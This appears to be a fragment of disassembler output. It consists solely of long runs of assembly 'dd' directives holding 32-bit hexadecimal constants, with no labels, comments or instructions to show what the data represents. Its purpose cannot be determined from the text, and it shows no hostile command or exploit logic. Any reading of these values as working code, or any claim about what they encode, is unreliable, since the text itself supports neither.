dd 835FFEF8h, 0E92FFCB8h, 5DA3E2FBh, 5BA539FBh, 0B055A75Eh
dd 9F64AE1Dh, 24A02E4Eh, 342D2BA2h, 0ED37E170h, 0D58E0845h
dd 47E95604h, 3350084h, 5A22A57Ah, 803BED89h, 11EACE81h
dd 6876AFh, 74479EE6h, 0CB9DE918h, 0A15384CFh, 3F406E85h
dd 56786B21h, 0CD8FF44Eh, 0B241A139h, 0DF399009h, 0CF60F262h
dd 1D764AFAh, 69F2B0A1h, 2D5F0168h, 1A3A6487h, 0C4421861h
dd 839979BCh, 1E7A41CBh, 5A964EFh, 0F3523668h, 17B9808h
dd 783F31BBh, 85647864h, 0B000558h, 7AEB815Eh, 37E32770h
dd 880C05Ah, 0D76611E9h, 0C2ACB95h, 27807E9Dh, 542F520Ch
dd 7F52EA3Bh, 44E52C51h, 0BD02C8FCh, 64BEA893h, 164A9084h
dd 35B1F6F8h, 0D6F70165h, 2E30D671h, 4BD0261Fh, 11CC0553h
dd 1B02EAA2h, 7FF88340h, 0D9B3580Eh, 143AED3Ah, 0E9C207B8h
dd 0CFD99904h, 4E16EC43h, 8F8BE891h, 63A68551h, 55A53CEFh
dd 27D071B5h, 2E983F78h, 0A850FF05h, 0F501455Fh, 3AE73CD3h
dd 23140E00h, 8018796Eh, 315291E9h, 38D898EBh, 9570AED0h
dd 96E796FFh, 3FEA098Dh, 98C79EF5h, 9D552732h, 1B889BF9h
dd 0AC762F40h, 7084425h, 0B551FFC6h, 7AE56013h, 0FC3BB450h
dd 0F466228h, 5D987547h, 0C93E6D67h, 0D8E5A506h, 0A1EDB7DFh
dd 0D5FCC48Bh, 39F55EE4h, 62D58496h, 48D2F706h, 0C768840Ch
dd 2EA1188h, 63CAB57Dh, 9C70D189h, 452016F0h, 2680385Fh
dd 17E24A26h, 0A1D7B8A9h, 0F73F8D1Bh, 51207B09h, 0F1311D20h
dd 4560E55Eh, 2AE44E5Dh, 7170897h, 6276E90Bh, 0D6F9FF9Ah
dd 18F5788h, 1AD982BBh, 0C5B13E0Ah, 0BF5EF3CCh, 0F62FF55Bh
dd 0E781002Dh, 408C1A97h, 8BCC0997h, 51B784Dh, 241594BEh
dd 69B6807Fh, 58B51904h, 906F4AE7h, 0E13A9DE0h, 992D747Bh
dd 5B554621h, 0BAC58579h, 8BFEAFD5h, 20BA4E3Dh, 69F0E9F9h
dd 6CE22CA0h, 0F6594030h, 5BE053E8h, 7535BC0Dh, 0E3F42541h
dd 0BE143CF3h, 31DA84Fh, 175BD6CBh, 0DFD0F722h, 9FC2E1ABh
dd 94806A0Bh, 3DB65009h, 2B4EE97Bh, 0CBF81461h, 515B223Eh
dd 21D8EB80h, 60B97CCCh, 1EB25F12h, 1278D910h, 24BE885Ah
dd 2B90F144h, 5CC23DB3h, 83FDD830h, 8457DE6Eh, 0D06BF6FFh
dd 13F0424Fh, 0FE36E07h, 0B47AAE1Ah, 9CDB6357h, 41E02CB0h
dd 0E28880BCh, 51326743h, 3680050h, 58413E65h, 5B9DC201h
dd 6DB43034h, 0B5C3C23h, 8E730E27h, 4C2328Ch, 38CD640h
dd 3C2D06E0h, 2B69F1A9h, 5CD122AAh, 3D782DC1h, 0E7683F8h
dd 64BAE8DDh, 0E810058Eh, 0AC5EF229h, 4AC79C86h, 63A6E957h
dd 5AD195B6h, 85C8DD6Bh, 1806108h, 0DB04BDE8h, 0BB61FB53h
dd 228060F7h, 30F56856h, 0E2F67755h, 6FAC57E7h, 0E334EFF3h
dd 88B7D956h, 0A4ABE9C2h, 0D4E18100h, 53CC3B2Bh, 98CC903h
dd 0C09075Dh, 0F5238Fh, 0FB9F1ABh, 555432B2h, 0BC549DB6h
dd 0C702F6F0h, 7515C617h, 5EA2AD80h, 0A43853E1h, 0B86B2A7h
dd 0F38172DEh, 0D4C54798h, 5620E03Fh, 43247B5Fh, 0B475BCBEh
dd 0E981A0FBh, 71A88B2Fh, 37EE0B7Eh, 0FD62075Ch, 87375CE2h
dd 0A495CA45h, 5015B127h, 49D6350Fh, 77052825h, 0A0464868h
dd 0C4BFDBFEh, 1B538C0h, 5966EA0Fh, 0D178E46Bh, 0DBA85C9Fh
dd 3C36A5Eh, 11D6B154h, 9CE22274h, 0E3DD6935h, 0BAF9541h
dd 0E80BCAF8h, 0F62D7F74h, 0BDEEA0Dh, 265AD04Dh, 6B60AB31h
dd 0B0534DAh, 0B678C5A2h, 0DF170B97h, 0D49DD49Eh, 6866C0C7h
dd 779E7858h, 1DB65281h, 0E02A35B5h, 0B44BE982h, 5C51C8EEh
dd 2F55C7BDh, 1B5951DEh, 77587C34h, 26BFF48h, 8FF48033h
dd 0AE9D9F43h, 0E90C119Bh, 0EE33FBD7h, 5B1F7B48h, 0D9FB7B17h
dd 81832EA7h, 30AEE483h, 9512F67Ah, 0CCFC7AFAh, 2C6A8397h
dd 0C53EB90Fh, 0AB922C78h, 2A682FB4h, 20AD06FAh, 709F9342h
dd 0AEDA4B76h, 780E955Bh, 3360FB16h, 63509598h, 7A477097h
dd 0FF129DBBh, 5667F940h, 517BB300h, 0EEDDF5B9h, 0E91EC4F2h
dd 0CF52FE3Ah, 451638ACh, 5E913442h, 6AF3CBE0h, 2018C45Dh
dd 5F5D5EE0h, 1E620755h, 0B6D27CBEh, 6263D692h, 0EE208F40h
dd 0B8BB15ACh, 0F1442A44h, 6DC53CABh, 0E18D9F15h, 3863F203h
dd 0C042C6Ah, 64890A8Bh, 437B4000h, 0D29F2177h, 6AE009BBh
dd 0E40012A1h, 9DA7D1ECh, 0BAA2EFFh, 65575128h, 0CEE9C2EDh
dd 800E045Ch, 0A30337E6h, 4DF58898h, 0D10A1EFAh, 5A057E0h
dd 817C7279h, 3041D99Fh, 0F612355Ah, 0B8E0B68Fh, 33F84B09h
dd 35A0255Ah, 5E44148h, 0F7CA820Dh, 3AF8C0BEh, 63E297A0h
dd 563BA458h, 88B89351h, 31E21327h, 8DF9F59Dh, 0E1AFCA29h
dd 1B7056D5h, 8E209D27h, 5EBF2FFAh, 27009BFh, 0DF9CA8A4h
dd 0DF2F2745h, 7092759Eh, 61077997h, 2A58F868h, 55E0DFCDh
dd 0BC535F38h, 56BB5ACFh, 6FCEAEFEh, 6BE95306h, 0B9020C7Dh
dd 3AAB60BFh, 1E464031h, 0C392B52Eh, 74013940h, 0FE8B8194h
dd 0FEAA6610h, 0C804B5A4h, 321C151h, 7E8F7961h, 4E383B25h
dd 0E941FD29h, 0FC05867Dh, 3F600406h, 50AA5457h, 1C610815h
dd 410E5D6Dh, 16F94C9h, 0A36A5958h, 0CCFED28Fh, 0DB38683Dh
dd 0C8AC5F20h, 42D8ABD6h, 0CA569F5Bh, 7045F813h, 4AA9FB6h
dd 0BFEE9C2Eh, 0FAE552ACh, 44FE8E57h, 0B545EA06h, 726BDCAAh
dd 689D1897h, 27764A94h, 0B91887FBh, 5F443E71h, 3E0368C0h
dd 684F58D1h, 0EBB3844Ah, 0E36B372Dh, 1BF2D87h, 33C78077h
dd 0BB08BEE0h, 67923C67h, 0C2E2BA8Ch, 0FF5192DFh, 0B245022Ch
dd 1E4597ADh, 5CBF802Ah, 1FA9DB96h, 43169271h, 9C4CF0ACh
dd 0E7985020h, 3C22BB13h
dd 84DEA709h, 0B7035CF1h, 0BFBDF60Dh, 50CF51C1h, 0F6BEFCDh
dd 0C26BDAA8h, 0D041827Fh, 0E36340E2h, 599A835Ah, 482C8577h
dd 0F28058D1h, 1C3D8D41h, 27BE6354h, 0B193D559h, 71E42B30h
dd 7FBF4257h, 7776A727h, 6CE1D610h, 0FBB592A8h, 794A9A98h
dd 0BB0CA281h, 9E5FC730h, 852D9D2Eh, 0C278F94Dh, 66049067h
dd 499F07B9h, 682BEFB7h, 548EC67Fh, 4FB443BBh, 0B2A24439h
dd 0BB64BF8Ah, 85651DC3h, 5EB7DEFBh, 0C72C3EECh, 7F68898Bh
dd 0BD60EC54h, 5FDC1683h, 6E52EB0Dh, 9B90030Ah, 0F1F03062h
dd 160EACD0h, 85C70EB0h, 0A0F2C36Fh, 6EEBEBFAh, 1F3D060Eh
dd 7F7C9628h, 0F6C0E502h, 0F797E9DDh, 0ECA84B71h, 577E422Fh
dd 8CFC0016h, 0B9449F5Bh, 0E912A22Fh, 3FF1046Bh, 5B8118A8h
dd 48F17925h, 18AF4720h, 0C1C6B2Bh, 772C399Ch, 640F1152h
dd 800C6F69h, 0FA3DABC9h, 8524C060h, 296D2070h, 1A59CA2Dh
dd 9A31844Ah, 0F205FDD5h, 0F3EBBC7Fh, 0F70969FFh, 1E6AFE2Bh
dd 9C0EEB7Dh, 0A2B50CECh, 4A0192EEh, 56F07233h, 2ED8030h
dd 0E94BAF45h, 42544A21h, 575AE5C2h, 20B4459h, 0EBE2C803h
dd 0F7799F3Fh, 16645F08h, 0BA5B5656h, 0FC9B2806h, 0F3DA9F40h
dd 0F0EACFEFh, 0C124B8C1h, 84EC45FEh, 0E9FB2870h, 3CE78134h
dd 47601CFAh, 0C26BF344h, 717D5C17h, 7125C361h, 32FFC31Eh
dd 985A850Bh, 1668BA4Eh, 0F779947h, 4B249A7Eh, 0F794AF02h
dd 98E90805h, 0C76B49EBh, 5E8CC07Dh, 7FF4C856h, 11704428h
dd 0B450D30Fh, 0F2F404E3h, 0BF6D12AEh, 27687BB4h, 0F29E7DCBh
dd 0FD537F96h, 4BFFCFABh, 276B9CBAh, 9A01CB4Ch, 81DD27B2h
dd 3F2991B0h, 0B6E09D34h, 0E25AE8BAh, 7B0443B9h, 0A601E52h
dd 3C28072Dh, 0B8400097h, 5A7830CAh, 4F6DBC15h, 662F4FA8h
dd 0F1801B01h, 0A2052E7Bh, 0AD82ECD0h, 5F584A6Eh, 0CDA4A6D3h
dd 0D4B97C42h, 3DEE815Eh, 404F45F3h, 80367FB9h, 11BA964Eh
dd 0BC0490AAh, 0A088F19h, 0F92707EAh, 78290C6Eh, 7AFF2150h
dd 2D59BBA4h, 0FC7C22A1h, 909F587Ah, 25151CB9h, 13B6E429h
dd 0EA31BBEFh, 0FDE8525Bh, 4B22B93Fh, 28008845h, 2C5A66D7h
dd 2F8EC94h, 0C06AB353h, 486102EBh, 2435309Bh, 2F3A644h
dd 88D6CDE5h, 0C480DA89h, 128C56C2h, 50D0012Ch, 0DD0C7100h
dd 0ECE812Ch, 16EB3BB5h, 471CE6C1h, 0D17B2178h, 0C05B0FDAh
dd 21B41AA9h, 15F2E915h, 0B7CC9661h, 17D25A31h, 0C1ADE2A5h
dd 3085624Dh, 288A2420h, 24E60C03h, 16E608E3h, 3EAAC905h
dd 9A3EE4E1h, 44604855h, 0F70905FCh, 8FB15875h, 708689A6h
dd 68AD09F8h, 2E460B7Eh, 0AF6A7D01h, 6C59E943h, 0B65F377Ah
dd 0C505D90Eh, 8D805D8Bh, 6FC3A1AEh, 5A210086h, 2DB5BD2Dh
dd 0BFC25E05h, 590EBCA7h, 0AA58D2BFh, 2201B075h, 11A13C51h
dd 3839B17Eh, 49E90829h, 98680735h, 0C5F70B77h, 4C55A5F7h
dd 90D89FA0h, 0E6ADE95Bh, 1708FE5Ah, 4313599h, 0B2B5541h
dd 0E94ADD50h, 0B6136A7Ch, 0CB55DF0h, 0A8CD807Ah, 0FE765E06h
dd 21B62BFEh, 0F364227h, 2263C089h, 95EE8943h, 0B6A23EFFh
dd 6E745A4Ah, 0A558E90Bh, 0C0FB5AEEh, 0D130056Fh, 0FDC0E1EDh
dd 3F84C903h, 0B3EFD412h, 0A3ACD245h, 0CEE950A0h, 25BE76B5h
dd 4620A358h, 4B51604Eh, 20514D4h, 0ED515D78h, 7CBE2E07h
dd 7C5D3AC3h, 42331036h, 1E3C4EDFh, 889FE12h, 7626B028h
dd 48BD8397h, 0A4BFED5Ah, 3099F10Ch, 6658F445h, 7002C946h
dd 0AA284E67h, 9343F24Eh, 0DB852DFAh, 16DCF5F3h, 6CBD09AAh
dd 3FF84F58h, 310A5762h, 9FB2F5FEh, 834736A6h, 0D30231B0h
dd 2118CE0Eh, 8C87FFCDh, 0C1AA450Ch, 1D14F0Ch, 3A3078B3h
dd 4A22F407h, 12A3A6D4h, 0A0368E97h, 0BDF49FBCh, 45C9261Fh
dd 4C6C205Ch, 0B63F847Ch, 9D2550ADh, 0FC417425h, 44D5005Bh
dd 0EAD1698Ch, 4EF28702h, 0D16506E9h, 5F138B80h, 0DDB63A9Eh
dd 0D5E5790Ah, 0DF506AA7h, 7B579ECAh, 2546239Ah, 0C8666EF7h
dd 2D1756E2h, 8B3197EDh, 57097489h, 4FFE823Eh, 752F07F1h
dd 0D3063A99h, 3AAE8B10h, 6587B50h, 0FE2CCA80h, 0F2EE04C2h
dd 1F28D224h, 13F1508h, 2564092Dh, 0B1FC3E72h, 97763725h
dd 2EEF373h, 58DDB867h, 5C411E9Fh, 82D16AA0h, 5BE55502h
dd 0A27B122Ah, 0DBD2DF6Ch, 5A5C0E81h, 2637B67Eh, 0F78BA97Bh
dd 918ED5DFh, 0E56A45B7h, 0FF80166Ah, 5EF526C0h, 0BD924968h
dd 0E90F614Eh, 5EF76C31h, 1E1F47BBh, 6F3AF718h, 6FC78E20h
dd 0CF5C315Fh, 3AF92539h, 0C09C42A4h, 0C4A77618h, 0C406EDDBh
dd 587DF084h, 0D9245D7Fh, 5B654DC2h, 702CF72Ch, 66D0077Ah
dd 4C1F2368h, 19D2B2EBh, 964CE2ABh, 63204089h, 12AD693h
dd 3016C1D4h, 0C2C7ACFh, 8AE04B2Ah, 56DA5038h, 252B0C58h
dd 85986279h, 0C1934DD0h, 56D3D789h, 0EE465B1Ah, 5FB89D68h
dd 0FDF53114h, 5F2C017Fh, 0E9042620h, 25706BC9h, 58E970DFh
dd 0B3A7DE1Fh, 3600B268h, 0C3602FB8h, 4FC7316Dh, 47B5E058h
dd 0DF02F9A2h, 0DF5A7C3Fh, 5EBB492Dh, 6855A86h, 5E91E29Ch
dd 58A692D8h, 71814806h, 6F2D6313h, 0B5F15A35h, 4C0D47Bh
dd 0C6348Ah, 0BA55E2BDh, 57524C21h, 1168C005h, 82FE0812h
dd 0DDF58001h, 9857EB28h, 68ADCDD2h, 88197007h, 499DF5DAh
dd 26725E4Bh, 32886809h, 71626B5Eh, 68A65648h, 58581470h
dd 0FCC6E982h, 6BAF597Fh, 5AEDECDFh, 47313DDh, 2351F06h
dd 65EDD14Dh, 4CBA9F67h, 9E620927h, 9B95D40h, 34D0478Bh
dd 6215D77Eh, 51CE02E5h, 80739906h, 0C04B6BC4h, 5E0CC142h
dd 7A5C6550h, 0B19B3F02h, 0B5E6E0A4h, 121A252Bh, 8A04376h
dd 0EF806F92h, 70837718h, 9DAA60ACh, 33EF80E7h, 7EB6521Fh
dd 539EF649h, 90ADBD14h, 0BB92D789h, 0CB8482C4h, 4BBD9820h
dd 2C4FC29h, 27253BC1h, 6572F74Bh, 28E211D6h, 0E9029C92h
dd 0F289CA98h, 1A306F5Fh, 5C5A5952h, 0AA21EC92h, 487B7302h
dd 4F16E34Ch, 2198D22Fh, 0EF4FCCD4h, 0B5407075h, 0BAAD4ADEh
dd 0AC4B038Fh, 5E19010Bh, 32E96BC4h, 95B90824h, 939032F2h
dd 7A53E309h, 2FA5D64h, 7213F19Fh, 687968DDh, 32314F44h
dd 0E9220187h, 0BFD578D2h, 8739B776h, 613B04A0h, 2C56F366h
dd 12C94033h, 44F3EF9Ah, 60234C80h, 6A85111h, 33C28EE9h
dd 467E6E68h, 0BDB07887h, 0C4E9DEE0h, 0D6A0419Ah, 0F995E110h
dd 0C921C440h, 8E12A6F8h, 39A1E904h, 6708DCFBh, 0F00E24EBh
dd 0D8DBB0B5h, 6C7E95C9h, 0C60BD258h, 2452BF0Bh, 0C93EFE97h
dd 50A7A077h, 28486856h, 2AF3E527h, 986B86F0h, 0B27340D0h
dd 71C0CEC4h, 542B89BEh, 4851A846h, 76094FFFh, 9BE6575Dh
dd 8740B2B0h, 58192D68h, 5AC58994h, 0AC446D78h, 54326AB3h
dd 306AB079h, 8E670B01h, 7E305620h, 842B17CFh, 0ABD0BF07h
dd 0E5E04A72h, 879C8DBh, 0D14D5947h, 77E10F78h, 0C7C05240h
dd 286FF3Ah, 1290D7B2h, 0E151380Bh, 0D656042Bh, 3E560412h
dd 815D007Fh, 5CA004F2h, 0D62A7A9Bh, 7DE910EEh, 545C1744h
dd 3BE1BCECh, 51B87FAEh, 49BD55B0h, 16511913h, 242E02EEh
dd 0DB001DECh, 121FFD3Dh, 0FA5DEE01h, 5DE91798h, 0BA2F6AA9h
dd 22D0A52Bh, 6EF43F31h, 50307EB5h, 0D6F60D6Eh, 3008CEFEh
dd 5782B2B4h, 1D5175C0h, 6DFC0876h, 90E4C205h, 0CE04F789h
dd 0F16E013h, 7209082Dh, 0B1D905A9h, 4B5C6804h, 0E916C4F9h
dd 6056A140h, 799FEE7Fh
dd 655FEBBFh, 8B45CAC0h, 7E94830Ch, 6959517Ch, 4C0B4B53h
dd 947EDE89h, 7407F503h, 6E01CF7Eh, 0F94E6461h, 68032065h
dd 9846B92Dh, 0E0919792h, 0BB295F9Ah, 512A253h, 12098AEAh
dd 5BF9577Eh, 0AF1E7DBh, 0D9032566h, 0DB0975A3h, 0C087242Ch
dd 5693CD26h, 3CB647ADh, 1ABD9B7Ah, 38D955BBh, 928EF16Bh
dd 3A85BA68h, 69A0D516h, 215B38BEh, 4B724125h, 749950E0h
dd 5A5291ADh, 9F5E7E60h, 0C1473C1Ah, 672157ADh, 235B7C68h
dd 895C49D7h, 9E950A2h, 51A684Eh, 0FEF0DBC6h, 0F47EE027h
dd 97E91D86h, 0C1C22952h, 2F376E8h, 807CB551h, 986E63EBh
dd 0C04341E9h, 4B8CF237h, 27904409h, 0A056DA97h, 0D7BFD27h
dd 0D501739Ah, 0E908001Ch, 68B5B491h, 0EC3C35DAh, 68B027h
dd 77080778h, 4C187F2Dh, 0D8F71900h, 96105925h, 0F3350061h
dd 2D4F7869h, 0AF28776Dh, 6609E729h, 7EF16239h, 0F758623Dh
dd 13687A0Ch, 0F51DAE0Dh, 210805A8h, 50B76CE3h, 0DFF7FEF8h
dd 9E5208CCh, 4ED8E6BBh, 2480BC64h, 8A09DE31h, 0D418F575h
dd 113F5BFh, 7E0E1BB0h, 4519C353h, 0A90E0F47h, 53DFAD9Ch
dd 7352FFC2h, 809C0BEBh, 8B16ED7Ch, 0B600D8EAh, 0F67D187Fh
dd 0F995F0E0h, 10A048DDh, 47FC5AC0h, 0D0F6F372h, 29998BEh
dd 189E7290h, 6D41D1F7h, 0DC0AA401h, 27098F1Ch, 0BB705561h
dd 0C08108CEh, 643BED62h, 0D940B721h, 4EC3D277h, 302E8C0h
dd 0D0860606h, 812DAF6h, 0E5EE652Ch, 0B016883h, 307D1368h
dd 2DE9F7CBh, 0FEA07912h, 9B5028C5h, 6C011B3Bh, 0B32CCCF3h
dd 0D05627FEh, 49320581h, 106B72BAh, 593B07A2h, 0DD45E401h
dd 2530FF69h, 7C9F6F54h, 2D433E10h, 0BCC738Fh, 24C8207Dh
dd 253D3713h, 26F8930Bh, 0F016A7B3h, 939BB915h, 0CD1F61FAh
dd 39EA3A59h, 6AF96033h, 5042009Ch, 63156051h, 2930E18Eh
dd 6C8614F1h, 1416E4EDh, 797DB35Dh, 62D0D05Eh, 25EC48EFh
dd 0F9F8F914h, 52C07E9Dh, 55468E74h, 0CC385B66h, 265DA9BBh
dd 0F68D8B31h, 59CA8BDEh, 0E99993DDh, 2D6867B8h, 0B8E241C9h
dd 0C1C851D7h, 639A65E9h, 5355121Eh, 0F05A988Ah, 0B15B0EE2h
dd 22F839EFh, 63948B9h, 0EFCD8094h, 0F6FE2034h, 44EAE09Dh
dd 9840620Bh, 3103F472h, 8C0DB9F0h, 4E35E26Ah, 1F3049E1h
dd 0CA81000Bh, 423108BFh, 0BB24E957h, 5067BF97h, 0EB909494h
dd 257309BAh, 38486D43h, 4D091721h, 51542958h, 740CA04Ch
dd 0CE699DE9h, 15A23F3Ch, 3F5D7BA1h, 0BC9224BDh, 4DA61982h
dd 162AF7CFh, 58C6A903h, 0DEA55AB4h, 1806FF16h, 57169268h
dd 0C96D10Bh, 0D26EE882h, 929F6367h, 6FA077D0h, 787E1E97h
dd 0AA0554EAh, 0CEE9B393h, 48018D4h, 0F78CEE10h, 123DBE60h
dd 0BB504572h, 2F08A350h, 0EAB1F75Ah, 0ACC254CAh, 22B05B59h
dd 23DE2E41h, 7D930269h, 0BA8D327Fh, 5FC00129h, 80BB045Eh
dd 8DEE8021h, 94B05028h, 20E9D81Dh, 0A9477B27h, 0CDFD2532h
dd 4E65AF73h, 98D8298Ch, 0C4C04E4h, 0FC28E917h, 20FA5A17h
dd 8FBB53BEh, 13C7C16h, 0DE5B3BC8h, 0C1985A6Fh, 0FB7A7044h
dd 0ECD955FBh, 0E188C502h, 680A0FE3h, 8CD34CF0h, 0F5A71A0Ch
dd 52459903h, 0E9E82921h, 0A23A16FAh, 0ED584A1h, 218BE18h
dd 0AD23DC3Dh, 0D5A56921h, 9D955BDCh, 0D0080A45h, 0BDC11D6Dh
dd 8BF109FEh, 62754D2Ah, 4BF359AFh, 8B3D2276h, 8476E166h
dd 0B9013CB5h, 0CD1CF1FCh, 2A753131h, 0E86E44F1h, 2CFAB47Ch
dd 0C2BFB279h, 0D2FB771Eh, 4116E625h, 2C42ED29h, 68BF4B7Ah
dd 3A4E6984h, 924CBDh, 0BE61AEC7h, 0A826E971h, 7EC2731Bh
dd 97625645h, 6F5DAA03h, 68665942h, 0E7E4FF4Ah, 0C17FE917h
dd 5604BDEDh, 8475E813h, 8C01081h, 0CB4CA04Ah, 6D45429Fh
dd 0BFE90B3Dh, 0A7D80362h, 0A1A69685h, 7C806805h, 77B6C230h
dd 0E4CE7BFEh, 357095EAh, 0F1E9EF12h, 0B847585Eh, 0F7D50990h
dd 4A036CF8h, 6889E97Dh, 0E1F6B903h, 2F9392B8h, 43725EA8h
dd 8243593Ah, 0E4E95674h, 63CED539h, 0DD588127h, 6E687890h
dd 503C5F12h, 0E0010CBBh, 5317C261h, 0E406B56Bh, 0BC164B4Eh
dd 5455C11Fh, 9EEC2F5Dh, 0AEC085E5h, 1CAEF357h, 41CF13A4h
dd 0FE2FB120h, 0E1C7E8C9h, 0B00554B5h, 3F1A4576h, 5ABA4179h
dd 0C040883h, 32AC16BFh, 40F004B4h, 1E9F5920h, 5F681C91h
dd 9CDF2D06h, 8D952F01h, 898AB753h, 0CB0BA8F1h, 58FD5E59h
dd 14BF651Bh, 9FA9DEDh, 0EC9C402Dh, 4DCA2FF1h, 5508847Bh
dd 0A0E942BDh, 0BB01B674h, 64B85905h, 6F991D70h, 6A8B2129h
dd 8680DCF1h, 8005EFC0h, 0EC2D73F7h, 0FE2805B8h, 499E60E9h
dd 0DFABCEA7h, 0ABA7B965h, 0D7A28B3Dh, 682F761Ch, 0D99A55F4h
dd 0E92FA87Ah, 681E016Fh, 3A2C0893h, 9C3DD8C2h, 0A9DFB3C2h
dd 45C6DBE0h, 0B3970956h, 7FB90858h, 0CD80C62h, 0C10EC6BEh
dd 0C0183251h, 0F26A44E6h, 597B027h, 0D382FE2Bh, 0D0811F29h
dd 0C1380BD5h, 0FECA579Ch, 0DB87E0D5h, 2318B387h, 3720BBC4h
dd 50F8B201h, 0E228DBB4h, 0B535BA20h, 60BECDA0h, 759023B2h
dd 8457F601h, 9F61E97Ah, 3B9E0168h, 0AF75855Fh, 5CA018B2h
dd 0BFE45766h, 4B481A3Bh, 0C55EEAFDh, 24290B0h, 0EA314A1h
dd 591DE9B8h, 0B38EE0BCh, 0CBEE1227h, 258B4815h, 4AC2A065h
dd 0B731450Fh, 8BFCE778h, 283A1D63h, 0F9C9B9C3h, 46D5B857h
dd 0AA2E89A1h, 0E92CAA68h, 0D6F8B62Fh, 0F689EDE9h, 0D7924454h
dd 0DA70CCFBh, 5011FBEh, 0C8BDCEB9h, 44D9E13Bh, 0FEF8AAA0h
dd 0DBE8AAA4h, 97F0018Ah, 4A84E630h, 3AF5E9B0h, 0EE3CCDFEh
dd 0BC2C3F5Dh, 0DD7F16F9h, 608CEC49h, 949CCB1h, 12E255A8h
dd 0E10B48D4h, 3A3EC57Eh, 51A26FAFh, 0B4737B6Ch, 0EB073CA6h
dd 0BE51565Dh, 0F86B0A37h, 0A61E2436h, 0FDD0888Bh, 0E6D18D48h
dd 9EEE810Bh, 17C75001h, 0C1555EF5h, 0CD689F54h, 0CF88E63Eh
dd 0A9E90B07h, 54B72B50h, 72C35808h, 0E63AEC0Fh, 0F72F4C68h
dd 8C784BEAh, 564F515Eh, 98D28964h, 5862690Ch, 64972D6Fh
dd 7740F89Ch, 32517755h, 481E2AF3h, 6E598161h, 41297ACCh
dd 33CB3EB0h, 0BE7D465Eh, 0D327A526h, 0EE4BDA9Eh, 0BB112C3Ah
dd 8EE1013Ch, 312C6033h, 6C41F4FCh, 56893027h, 5F58E202h
dd 98A47D09h, 14BCBE52h, 8AE54E79h, 335817h, 6AA41FB8h
dd 0A2E858BBh, 0F4A100E9h, 170BD906h, 0AAA355E9h, 58515FCCh
dd 4600CE52h, 0B95A27BEh, 0D82CBC84h, 4B24C44Ah, 0BC8DFCADh
dd 578F8697h, 0F008CD88h, 2AC54F0Eh, 0B30BD609h, 0AC6B82EEh
dd 4EF3CB60h, 8A1ABB86h, 96D8750Ch, 0A8E7E917h, 68A221FDh
dd 95A9D05Fh, 0E958C456h, 8B4849ADh, 5A50E303h, 0CBB036FCh
dd 70254B94h, 0ACAD004h, 0DB3C61EBh, 0DF600BACh, 942E7FFh
dd 984EE2C9h, 3BC564Bh, 35471EF1h, 0E0BE003Dh, 1C7CC23Eh
dd 575F2F2Dh, 55247F96h, 80828752h, 0EA777A4Bh, 0FF070B45h
dd 74454B02h, 2992A2FBh, 37D1604h, 15868ABAh, 3824D73h
dd 6DB5BEEFh, 39F4DF9Fh, 26D8D8EAh, 0E1D5D3AAh, 6DF49B25h
dd 0EA42BD3Ch, 0CDD67AE2h, 80086158h, 800713B4h, 0E328E5F4h
dd 92B04AC4h, 9BFEB701h, 0E9BB4952h, 0B85EFAh, 773085BAh
dd 70C00942h, 3C91F581h, 8860F37Fh, 5B9DFA84h, 3A9AD6Bh
dd 361672C7h, 9F0C0008h, 0E9CC85C2h, 0D4B97932h, 0A8719B02h
dd 155C5575h, 0E60EDABAh, 0AAE44D9h, 3E0959F8h, 0FE004BE8h
dd 719F78A1h, 429618C1h
dd 0D9705CF2h, 16914EE9h, 15A1DCB0h, 7CBD3170h, 50B15001h
dd 2AEE8BC7h, 0D545F822h, 51CE3687h, 8368CF6Eh, 1213281Ch
dd 0BBF6E062h, 8DCD27DCh, 38430962h, 74C469AAh, 2654C40Ch
dd 0FC07CC5Bh, 910D4AFBh, 7CCFC5ACh, 27E3A5D7h, 8FE26D94h
dd 5413C25Eh, 58A22609h, 472D0088h, 13B401Ch, 7A205F0h
dd 58D7F1FFh, 5E31512Dh, 1E0D60D2h, 97C54A68h, 399C91FBh
dd 878D2F5Eh, 27234DE4h, 64DE0F82h, 72544B07h, 573C0D9h
dd 0D48009EDh, 0C17D09F8h, 81A66DA1h, 9E6E2347h, 7206D6C1h
dd 0D0FFB68Bh, 2A2C4FFEh, 0C9FE1779h, 65D89CABh, 1E690895h
dd 0A43D06D8h, 984B207Ch, 2C8741BDh, 0F8F01220h, 3F236096h
dd 0A8BCC4F5h, 7D89A33Eh, 32A03030h, 24286BBDh, 2611A5Dh
dd 4E38DF5Eh, 899A03D7h, 0A8AACCF2h, 9DEF93F5h, 1D2140D7h
dd 5F3EA837h, 9E5BF4Dh, 0C3A5765h, 3E047890h, 292FFFDBh
dd 73AF92D1h, 0DDE905B8h, 0C2CCD282h, 64B2D3E1h, 0A5FC32B5h
dd 0CB0C4468h, 5869B08h, 0BF2C8758h, 991057E6h, 7947F4Eh
dd 1B22D042h, 5644C5E7h, 0B86BB40Ch, 517F6041h, 0ECF4DFF8h
dd 52BCF5ABh, 8A541893h, 2C3880BEh, 8A21AE66h, 33FE4C12h
dd 0A4C957B4h, 0DC7BA83Eh, 0AD20393Eh, 27D05077h, 0ACC41DA7h
dd 445AA598h, 85C515F2h, 2E98406h, 71F2E9BAh, 0C08BB2DFh
dd 9391006h, 0D1012C15h, 13083A08h, 0CBFB5Ah, 53C4549h
dd 0C1D035C8h, 0FE67D416h, 8072E88Ah, 595E68E0h, 0AC0318B6h
dd 0E97A5011h, 0E45F16CAh, 7FFD206Dh, 329C7D9Dh, 0F143A92Dh
dd 74CB275Ah, 76CD11B0h, 0CD21E524h, 5E545641h, 2D47DA3Ah
dd 0DD468BBFh, 0BB09AA0h, 65903D94h, 8D2816FEh, 6DEAC662h
dd 7DEAC180h, 5D272D03h, 0E7743275h, 9ED125E5h, 9BF14E44h
dd 0FA4AD47Ch, 0A424922Dh, 92D89F87h, 0C56D796Eh, 9BED0E11h
dd 0B8BC210h, 5CCCF180h, 9AD43185h, 0D001022Ah, 5FDA40BAh
dd 0E15D55DEh, 1516576Fh, 639D1DB4h, 0DF019629h, 29158E6Eh
dd 202FE69h, 7ADBE940h, 803EDEE8h, 68B0BA12h, 958937B4h
dd 0FC2D6BE7h, 16A006Dh, 0EDB8145Eh, 4F945312h, 5B728BBBh
dd 468D2940h, 0F1293A6Fh, 580C0219h, 80274479h, 70EBBFE3h
dd 0FB1D4BF8h, 9448079Eh, 0FA36169Dh, 0E63B9A39h, 0C8E987A9h
dd 0E933D69Bh, 68AB8A0Fh, 0C38399C0h, 0B52D20F5h, 16AE401Fh
dd 57FEC68Bh, 5A59DBEEh, 12BE014Ch, 1301F07h, 0AB045629h
